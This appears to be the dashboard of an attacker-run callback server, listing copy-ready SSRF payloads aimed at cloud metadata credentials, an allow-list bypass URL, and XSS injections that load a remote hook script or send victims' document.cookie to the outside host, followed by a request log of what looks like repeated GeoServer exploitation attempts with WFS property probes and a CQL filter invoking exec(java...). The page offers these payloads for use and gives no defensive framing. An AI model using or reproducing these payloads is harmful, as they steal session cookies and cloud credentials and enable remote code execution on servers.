Domain: cb.cubicy.icu | Port: 8443 | Captured: 53 requests
SSRF Redirect (metadata):
http://cb.cubicy.icu:8443/ssrf/meta
http://cb.cubicy.icu:8443/ssrf/meta/creds
SSRF with @ bypass:
https://whitelisted.com@cb.cubicy.icu:8443/ssrf/meta/creds
XSS Hook (inject this):
<script src="http://cb.cubicy.icu:8443/xss/hook.js"></script>
<img src=x onerror="fetch('http://cb.cubicy.icu:8443/xss/report?c='+document.cookie)">
Custom redirect:
http://cb.cubicy.icu:8443/r/plain/http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
Blind callback (just check if it reaches you):
http://cb.cubicy.icu:8443/ping/b3426faa
| Time | Method | Path | From | Body |
|---|---|---|---|---|
| 11:31:44 | GET | / | 127.0.0.1 | |
| 11:31:43 | GET | /robots.txt | 127.0.0.1 | |
| 11:24:58 | GET | /geoserver/ogc/features/v1/collections?filter-lang=cql-text&filter=exec%28java.l | 127.0.0.1 | |
| 11:24:57 | POST | /geoserver/wfs | 127.0.0.1 | <wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.ope |
| 11:24:57 | GET | /geoserver/ows?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=cite | 127.0.0.1 | |
| 11:24:55 | POST | /geoserver/wfs | 127.0.0.1 | <wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.ope |
| 11:24:54 | POST | /geoserver/wfs | 127.0.0.1 | <wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.ope |
| 11:24:54 | GET | /geoserver/ows?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=topp | 127.0.0.1 | |
| 11:24:53 | POST | /geoserver/wfs | 127.0.0.1 | <wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.ope |
| 11:24:52 | POST | /geoserver/wfs | 127.0.0.1 | <wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.ope |
| 11:24:51 | GET | /geoserver/ows?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=topp | 127.0.0.1 | |
| 11:24:50 | POST | /geoserver/wfs | 127.0.0.1 | <wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.ope |
| 11:24:49 | POST | /geoserver/wfs | 127.0.0.1 | <wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.ope |
| 11:24:48 | GET | /geoserver/ows?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:b | 127.0.0.1 | |
| 11:24:47 | POST | /geoserver/wfs | 127.0.0.1 | <wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.ope |
| 11:24:46 | POST | /geoserver/wfs | 127.0.0.1 | <wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.ope |
| 11:24:46 | GET | /geoserver/ows?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:a | 127.0.0.1 | |
| 11:24:45 | POST | /geoserver/wfs | 127.0.0.1 | <wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.ope |
| 11:24:44 | GET | /geoserver/wfs?service=wfs&version=2.0.0&request=GetCapabilities | 127.0.0.1 | |
| 11:24:41 | GET | /geoserver/wfs?request=ListStoredQueries&service=wfs&version=2.0.0 | 127.0.0.1 | |
| 11:24:41 | GET | /geoserver/web/ | 127.0.0.1 | |
| 11:21:19 | GET | / | 127.0.0.1 | |
| 11:17:03 | GET | /favicon.ico | 127.0.0.1 | |
| 11:17:02 | GET | / | 127.0.0.1 | |
| 11:16:13 | GET | /favicon.png | 127.0.0.1 | |
| 11:16:13 | GET | /favicon.ico | 127.0.0.1 | |
| 11:16:13 | GET | / | 127.0.0.1 | |
| 11:10:07 | GET | / | 127.0.0.1 | |
| 11:04:01 | GET | /favicon.png | 127.0.0.1 | |
| 11:04:01 | GET | /favicon.ico | 127.0.0.1 | |
| 11:04:01 | GET | / | 127.0.0.1 | |
| 11:03:36 | GET | /geoserver/ogc/features/v1/collections?filter-lang=cql-text&filter=exec%28java.l | 127.0.0.1 | |
| 11:03:35 | POST | /geoserver/wfs | 127.0.0.1 | <wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.ope |
| 11:03:34 | GET | /geoserver/ows?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=cite | 127.0.0.1 | |
| 11:03:34 | POST | /geoserver/wfs | 127.0.0.1 | <wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.ope |
| 11:03:33 | POST | /geoserver/wfs | 127.0.0.1 | <wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.ope |
| 11:03:32 | GET | /geoserver/ows?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=topp | 127.0.0.1 | |
| 11:03:31 | POST | /geoserver/wfs | 127.0.0.1 | <wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.ope |
| 11:03:29 | POST | /geoserver/wfs | 127.0.0.1 | <wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.ope |
| 11:03:28 | GET | /geoserver/ows?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=topp | 127.0.0.1 | |
| 11:03:27 | POST | /geoserver/wfs | 127.0.0.1 | <wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.ope |
| 11:03:26 | POST | /geoserver/wfs | 127.0.0.1 | <wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.ope |
| 11:03:26 | GET | /geoserver/ows?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:b | 127.0.0.1 | |
| 11:03:25 | POST | /geoserver/wfs | 127.0.0.1 | <wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.ope |
| 11:03:24 | POST | /geoserver/wfs | 127.0.0.1 | <wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.ope |
| 11:03:23 | GET | /geoserver/ows?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:a | 127.0.0.1 | |
| 11:03:22 | POST | /geoserver/wfs | 127.0.0.1 | <wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.ope |
| 11:03:22 | GET | /geoserver/wfs?service=wfs&version=2.0.0&request=GetCapabilities | 127.0.0.1 | |
| 11:03:21 | GET | /geoserver/wfs?request=ListStoredQueries&service=wfs&version=2.0.0 | 127.0.0.1 | |
| 11:03:19 | GET | /geoserver/web/ | 127.0.0.1 |